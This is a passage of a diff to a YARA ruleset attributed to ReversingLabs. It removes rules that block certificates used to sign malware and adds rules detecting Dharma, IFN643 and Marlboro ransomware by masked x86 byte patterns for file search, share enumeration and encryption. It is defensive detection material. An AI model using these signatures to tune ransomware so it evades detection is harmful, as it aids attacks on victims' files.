?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 74 24 + ?? FF 15 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 8B + C6 5E 5B 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MOCOMSYS INC" and pe.signatures [ i ] . serial == "03:e5:a0:10:b0:5c:92:87:f8:23:c2:58:5f:54:7b:80" and 1385423999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $enum_resources_* ) ) and ( $find_files ) and ( all of ( $encrypt_files_* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0Fe7Df6C4B9A33B83D04E23E98A77Cce : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Dharma : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Dharma ransomware." author = "ReversingLabs" - id = "47a10658-c5c4-58b6-b154-7babcfbc50a2" - date = "2020-08-05" - modified = "2023-11-08" + id = "8157b20b-717c-581f-83c1-5fc8d2312238" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1144-L1160" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Dharma.yara#L1-L108" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "da5ed07def8d0c04ea58aacd90f9fa5588f868f6d0057b9148587f2f0b381f25" + logic_hash = "6f33281523b462aaff68bb04f2f6869c3e6cd60cd9306ed80bb0c3e3b699f315" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Dharma" + tc_detection_factor = 5 importance = 25 + strings: + $file_search = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? + 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? 51 8B 55 + ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? + 75 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 8B + 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B + 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D + ?? ?? 75 ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 + 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? + 89 45 ?? 8B 45 ?? 8B E5 5D C3 + } + $file_encrypt_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 4D ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 8B 45 ?? 33 D2 B9 ?? ?? ?? ?? F7 F1 8B 45 ?? 2B C2 83 E8 ?? 89 45 ?? 8B + 4D ?? 51 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? + ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 05 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83 ?? ?? + ?? ?? 8B 4D ?? 83 E1 ?? 74 ?? 8B 55 ?? 83 E2 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 6A ?? + 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? + ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 89 55 ?? 8B 45 ?? 89 85 ?? ?? ?? + ?? 8B 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D + ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? + 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 4D ?? 51 + E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 4D + ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B + 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 83 7D + ?? ?? 75 ?? 8B 4D ?? 3B 4D ?? 73 ?? 8B 45 ?? 33 D2 B9 ?? ?? ?? ?? F7 F1 B8 ?? ?? ?? + ?? 2B C2 89 45 ?? 8B 4D ?? 03 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 + E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 03 45 ?? 50 8B 4D ?? 51 + } + $file_encrypt_2 = { + 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 03 45 ?? 39 85 ?? ?? ?? ?? + 74 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? + 83 C4 ?? 8B 95 ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? + ?? 83 7D ?? ?? 74 ?? 8B 8D ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 8B 55 ?? 52 8B 45 ?? 50 + 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 03 55 ?? 89 55 ?? 8B 45 ?? 03 45 ?? 89 + 45 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 45 + ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 45 ?? + 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 + 45 ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 ?? 89 45 + ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 05 ?? ?? + ?? ?? 89 45 ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 83 C0 + ?? 89 45 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 2B 55 ?? 52 8B 45 ?? 50 8B 8D ?? ?? + ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 2B 55 ?? 39 95 ?? ?? ?? ?? 74 ?? EB ?? + EB ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? E9 ?? + ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7E ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 8D ?? ?? + ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? + 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7E ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? + ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8B E5 5D C3 + } + $enum_shares = { + 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? + 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 E8 ?? + ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 + ?? 8B 4D ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 83 7C 10 ?? ?? 75 + ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 50 8B 55 ?? 52 8B 45 ?? C1 E0 ?? 8B 4D ?? 8B 54 01 ?? + 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 6A ?? 8B 45 ?? 50 8B 4D ?? C1 E1 ?? 8B 55 ?? + 8B 44 0A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 8B 45 ?? + 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 83 E1 + ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? C1 E1 ?? 03 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 + ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? + 52 E8 ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F + 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 8D + 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB + ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? + 8B 45 ?? 83 7C 10 ?? ?? 75 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 50 8B 55 ?? 52 8B 45 ?? C1 + E0 ?? 8B 4D ?? 8B 54 01 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 6A ?? 8B 45 ?? 50 + 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B 4D ?? 51 + 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C1 E2 ?? + 8B 45 ?? 8B 4C 10 ?? 83 E1 ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? C1 E1 ?? 03 4D + ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? E9 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PIXELPLUS CO., LTD." and pe.signatures [ i ] . serial == "0f:e7:df:6c:4b:9a:33:b8:3d:04:e2:3e:98:a7:7c:ce" and 1396310399 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $file_search and $enum_shares and $file_encrypt_1 and $file_encrypt_2 } - -rule REVERSINGLABS_Cert_Blocklist_065569A3E261409128A40Affa90D6D10 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_IFN643 : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects IFN643 ransomware." author = "ReversingLabs" - id = "924c210b-f72a-51eb-af2a-9897faf8f677" - date = "2020-08-05" - modified = "2023-11-08" + id = "a4d211a7-6735-541e-885d-555bbc11e2cf" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1162-L1178" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.IFN643.yara#L1-L90" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f8d68758704e41325e95ec69334aaf7fabe08a6d5557e0a81bac2f02d3ab5977" + logic_hash = "ced234018f1f05601dd3be55eaecd2a1e116ad0b7bb9e0292434f11f19916ebe" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "IFN643" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Police Mutual Aid Association" and pe.signatures [ i ] . serial == "06:55:69:a3:e2:61:40:91:28:a4:0a:ff:a9:0d:6d:10" and 1381795199 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_0979616733E062C544Df0Abd315E3B92 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "73222a8d-df63-5784-b5a2-0d936db8ddcb" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1180-L1196" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "034b233d6b6dd82ad9fa1ec99db1effa3daaa5bb478d448133c479ac728117ad" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $search_files_1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 89 B5 ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B D6 C7 45 ?? ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 + ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? + 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 8D 8D ?? + ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB + ?? 0F 84 + } + $search_files_2 = { + 80 BD ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 75 ?? 33 + C0 EB ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 50 8D 85 ?? ?? ?? ?? + 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D6 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 0D ?? ?? ?? ?? F7 + E9 C1 FA ?? 8B C2 C1 E8 ?? 03 C2 83 F8 ?? 0F 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 85 C0 0F 8E ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D6 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 4D ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8B 85 ?? + ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? + ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? + 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? + 8B 35 ?? ?? ?? ?? 33 DB 2B CE C7 85 ?? ?? ?? ?? ?? ?? ?? ?? F7 E9 C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? C1 FA ?? 8B C2 C6 85 ?? ?? ?? ?? ?? C1 E8 ?? 03 C2 74 ?? 33 FF ?? ?? ?? + 8D 45 ?? 8D 0C 37 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 83 7D ?? ?? 89 45 ?? 8D 45 ?? 0F 43 + 45 ?? C6 00 ?? 8B 35 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B CE 43 F7 E9 83 + C7 ?? C1 FA ?? 8B C2 C1 E8 ?? 03 C2 3B D8 72 ?? 83 7D ?? ?? 76 ?? 8D 45 ?? B9 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 0D ?? ?? ?? ?? F7 E9 C1 + FA ?? 8B C2 C1 E8 ?? 03 C2 83 F8 ?? 0F 83 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? + 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F + 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 + E8 ?? ?? ?? ?? 83 C4 ?? 8B 9D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? + ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 + F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? + 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B + 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? + 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 + ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 + ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 + ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? + 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 + ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 + ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E + 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ?? + 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 8B C2 89 45 ?? 8B F9 8B 75 ?? 89 75 ?? + C7 45 ?? ?? ?? ?? ?? 90 3B F8 0F 84 ?? ?? ?? ?? 89 75 ?? C6 45 ?? ?? 85 F6 74 ?? 8B + 17 C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 83 7E ?? ?? C7 46 + ?? ?? ?? ?? ?? 72 ?? 8B 06 EB ?? 8B C6 C6 00 ?? 80 3A ?? 75 ?? 33 C0 EB ?? 8B C2 8D + 58 ?? 66 90 8A 08 40 84 C9 75 ?? 2B C3 50 52 8B CE E8 ?? ?? ?? ?? 8B 45 ?? 83 C6 ?? + C6 45 ?? ?? 89 75 ?? 83 C7 ?? EB ?? 8B 55 ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A + ?? 6A ?? E8 ?? ?? ?? ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3 + 2B 49 ?? E9 ?? ?? ?? ?? 2B 49 ?? E9 ?? ?? ?? ?? 2B 49 ?? E9 ?? ?? ?? ?? 2B 49 ?? E9 + ?? ?? ?? ?? 33 C0 57 8B F9 40 F0 0F C1 05 ?? ?? ?? ?? 75 ?? 56 BE ?? ?? ?? ?? 56 E8 + ?? ?? ?? ?? 83 C6 ?? 59 81 FE ?? ?? ?? ?? 7C ?? 5E 8B C7 5F C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Jessica Karam" and pe.signatures [ i ] . serial == "09:79:61:67:33:e0:62:c5:44:df:0a:bd:31:5e:3b:92" and 1408319999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $search_files_1 and $search_files_2 and $encrypt_files } - -rule REVERSINGLABS_Cert_Blocklist_7D3250B27E0547C77307030491B42802 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Marlboro : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Marlboro ransomware." author = "ReversingLabs" - id = "54073485-e9a5-5a0b-a907-0e8a528da85d" - date = "2020-08-05" - modified = "2023-11-08" + id = "7cd3b436-47e3-5711-9b59-cef70efe3b45" + date = "2020-07-23" + modified = "2020-07-23" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1198-L1214" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Marlboro.yara#L1-L117" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "65f036921dfb9cbce3275aefb7111711e50874440096b2e3c3b55190cfc14ddb" + logic_hash = "d36c3cf52af47e9f638f58aabc19298e8c58831c3083f82e4c194319503eeaaa" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Marlboro" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Banco do Brasil S.A." and pe.signatures [ i ] . serial == "7d:32:50:b2:7e:05:47:c7:73:07:03:04:91:b4:28:02" and 1412207999 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_00D1836Bd37C331A67 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "4d99e2ee-823e-568d-88b1-48aaf6d44286" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1216-L1234" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8af1d10085c5be8924eb6e4ea3a9b8e936c7706d8ec43d42f24a9a293c7f9d27" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $ping_apnic = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 